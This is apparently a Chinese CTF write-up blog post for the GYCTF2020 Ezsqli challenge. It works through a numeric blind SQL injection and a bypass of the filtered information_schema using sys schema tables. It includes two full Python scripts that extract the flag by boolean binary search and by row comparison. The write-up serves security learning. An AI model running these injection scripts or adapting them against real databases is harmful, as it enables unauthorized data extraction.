[GYCTF2020]Ezsqli1

典型的sql注入,输个1试试.

用字典扫一下看看都有啥被过滤了~

情理之中,不过又可以用到新的姿势了~

判断一下注入类型.

是数字型,再看看输入1 0 0 / 1 0 0

是个无回显,而且没有过滤空格,那就用盲注~
开始构造payload

(ascii(substr(database(),1,1))>0)

构造成功~

开始python编程~

import requests


url="http://cb6a98e7-a051-4175-9806-4a570d9a6aa4.node5.buuoj.cn:81/"

payload1="(ascii(substr(database(),{},1))>{})"  #数据库
payload2="(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})" #表
payload="(ascii(substr((select flag from f1ag_1s_h3r3_hhhhh  ),{},1))>{})"  #数据


data1 = ""
for i in range(1,100):
    low = 32
    hight = 127
    mid = (low + hight) // 2
    while (low<hight):
        py=payload.format(i,mid)
        post_data={"id":py}
        re=requests.post(url,data=post_data)
        print(post_data)
        if "Nu1L" in re.text:
            low=mid+1
        else:
            hight=mid
        mid=(low+hight) // 2
    if mid == 32:
        break
    data1+=chr(mid)
    print(data1)
print(data1)






 这段代码,sys.schema_table_statistics_with_buffer 替代了我们平常使用的information,因为information被过滤了~

不过获取flag的时候我是猜测那张表的column存在一个flag字段~

但是也可以换一种编程去获取flag,内容如下~

import requests

url="http://a79a0791-c781-4102-9833-ba45ad62b746.node5.buuoj.cn:81/"
payload="((select 1,'{}') > (select * from f1ag_1s_h3r3_hhhhh))"
data=""
num=0
for i in range(100):
    for char in range(32,127):
        py=payload.format(data+chr(char))
        post_data={"id":py}
        req=requests.post(url,data=post_data)
        num=char
        print(post_data,req)
        if "Nu1L" in req.text:
            data+=chr(char-1)
            print(data)
            break
    if num==33:
        break

print(data)










不过这段代码,也带了一些猜测,猜测他就只有1行,切第一个字段为id,并且value=1 

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值